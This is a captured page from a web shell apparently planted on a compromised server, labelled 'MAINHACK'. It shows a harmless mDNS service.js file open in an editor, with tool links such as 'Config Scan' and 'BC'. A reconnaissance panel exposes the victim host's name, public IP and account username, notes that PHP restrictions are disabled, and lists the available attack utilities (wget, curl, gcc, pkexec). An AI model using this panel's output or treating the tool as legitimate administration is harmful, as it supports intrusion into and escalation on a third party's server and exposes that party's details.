[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: service.js
'use strict' var os = require('os') var util = require('util') var EventEmitter = require('events').EventEmitter var serviceName = require('multicast-dns-service-types') var txt = require('dns-txt')() var TLD = '.local' module.exports = Service util.inherits(Service, EventEmitter) function Service (opts) { if (!opts.name) throw new Error('Required name not given') if (!opts.type) throw new Error('Required type not given') if (!opts.port) throw new Error('Required port not given') this.name = opts.name this.protocol = opts.protocol || 'tcp' this.type = serviceName.stringify(opts.type, this.protocol) this.host = opts.host || os.hostname() this.port = opts.port this.fqdn = this.name + '.' + this.type + TLD this.subtypes = opts.subtypes || null this.txt = opts.txt || null this.published = false this._activated = false // indicates intent - true: starting/started, false: stopping/stopped } Service.prototype._records = function () { var records = [rr_ptr(this), rr_srv(this), rr_txt(this)] var self = this var interfaces = os.networkInterfaces() Object.keys(interfaces).forEach(function (name) { interfaces[name].forEach(function (addr) { if (addr.internal) return if (addr.family === 'IPv4') { records.push(rr_a(self, addr.address)) } else { records.push(rr_aaaa(self, addr.address)) } }) }) return records } function rr_ptr (service) { return { name: service.type + TLD, type: 'PTR', ttl: 28800, data: service.fqdn } } function rr_srv (service) { return { name: service.fqdn, type: 'SRV', ttl: 120, data: { port: service.port, target: service.host } } } function rr_txt (service) { return { name: service.fqdn, type: 'TXT', ttl: 4500, data: txt.encode(service.txt) } } function rr_a (service, ip) { return { name: service.host, type: 'A', ttl: 120, data: ip } } function rr_aaaa (service, ip) { return { name: service.host, type: 'AAAA', ttl: 120, data: ip } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002